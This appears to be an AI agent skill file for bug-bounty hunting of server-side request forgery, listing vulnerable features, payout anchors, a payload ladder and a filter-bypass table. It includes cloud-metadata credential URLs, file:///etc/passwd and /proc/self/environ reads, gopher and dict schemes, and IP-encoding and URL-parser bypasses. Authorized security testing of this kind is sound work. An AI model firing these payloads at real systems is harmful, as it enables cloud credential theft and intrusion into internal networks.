bb-ssrf
Hunt Server-Side Request Forgery — URL-fetching features (webhooks, import/export, URL previews, avatar-by-URL, PDF generators, import-from-URL pipelines), internal port scanning, cloud metadata theft
SKILL.mdskills/bb-ssrf/SKILL.md
GitHubSSRF Hunter
SSRF = the server fetches a URL you control. Find the fetch features, point them inward, prove internal reachability. 208 paid records in the corpus; the ladder from pingback ($0) to full-read import ($5k–$10k) is consistent.
Real-bug anchors (what actually paid — query bb-disclosures for more)
- $10,000 SSRF on project import via
remote_attachment_urlon a Note — import features fetch URLs with service privileges. - $6,000 Blind SSRF to internal services in a matrix
preview_linkAPI — blind still pays when internal reachability is proven. - $5,000 Half-blind SSRF in kube cloud-controller-manager upgraded to complete impact — infrastructure components count.
- $5,000 Full read SSRF via Lark Docs "import as docs" — when the fetched content comes back rendered, that's the ceiling. Delta lesson: import-from-URL is the pattern to hunt first; full-read (response body returned) is worth double blind; DNS-pingback alone is worth nothing.
Sink hunting (from JS + UI)
Params/features named: url, image_url, callback, webhook, import, fetch, preview, render, avatar url, "connect your site", "generate PDF from page", "import from URL", link-preview in chat/comment systems, SSO/OAuth redirect fetch, RSS/feed importers, site-verification by URL, attachment-by-remote-URL (remote_attachment_url-style).
Payload ladder (escalate in order)
- External confirm (OOB): your own listener/collaborator URL proves server-side fetch. DNS-only hit = weak — most programs reject pingback-alone.
- Internal services (blind via response behavior or error text):
http://127.0.0.1:6379/(Redis),:9200/(Elasticsearch),:27017/(Mongo),:8080/:8443(internal apps),http://localhost/,http://[::1]/ - Cloud metadata (the money):
- AWS:
http://169.254.169.254/latest/meta-data/iam/security-credentials/(then IMDSv2 token flow if v1 blocked) - GCP:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token(needsMetadata-Flavor: Googleheader — often the blocker) - Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01(Metadata: true)
- AWS:
- File scheme:
file:///etc/passwd,file:///proc/self/environ(works in some fetchers).
Filter bypass table
| Filter blocks | Try |
|---|---|
127.0.0.1 string |
http://2130706433/ (decimal), http://0x7f000001/ (hex), http://0177.0.0.1/ (octal), http://127.1/, http://[::1]/ |
| Private ranges | domain resolving to 127.0.0.1 (rebinding), localtest.me, nip.io variants 127.0.0.1.nip.io |
| http only | dict://, gopher:// (gopher can speak SMTP/Redis — high impact, careful) |
| Redirect checks | allowed-URL → 302 → internal target |
| URL parser confusion | http://allowed.com#@internal/, http://internal/@allowed.com, backslash tricks |
Rules of engagement
- If the fetch result is returned to you (inline preview, PDF content, imported doc) — internal HTML/error pages in the response = full impact evidence.
- Blind SSRF: escalate to a distinguishing internal probe (open port vs closed changes response TIME/error) before claiming; plain DNS pingback is usually rejected as low/informative.
- Never actually exfiltrate cloud credentials you find in metadata — capture proof (redacted), stop, report. Do not use leaked IAM tokens.
- Gopher/SMTP internal actions: prove the protocol responds, don't send emails.
Evidence format
The request that triggers the fetch + the response proving server-side perspective (internal body, port-scan timing delta, or metadata echo with secrets redacted) + impact statement (which cloud/network segment became reachable). Calibrate against query.py --class SSRF --min-bounty 2000.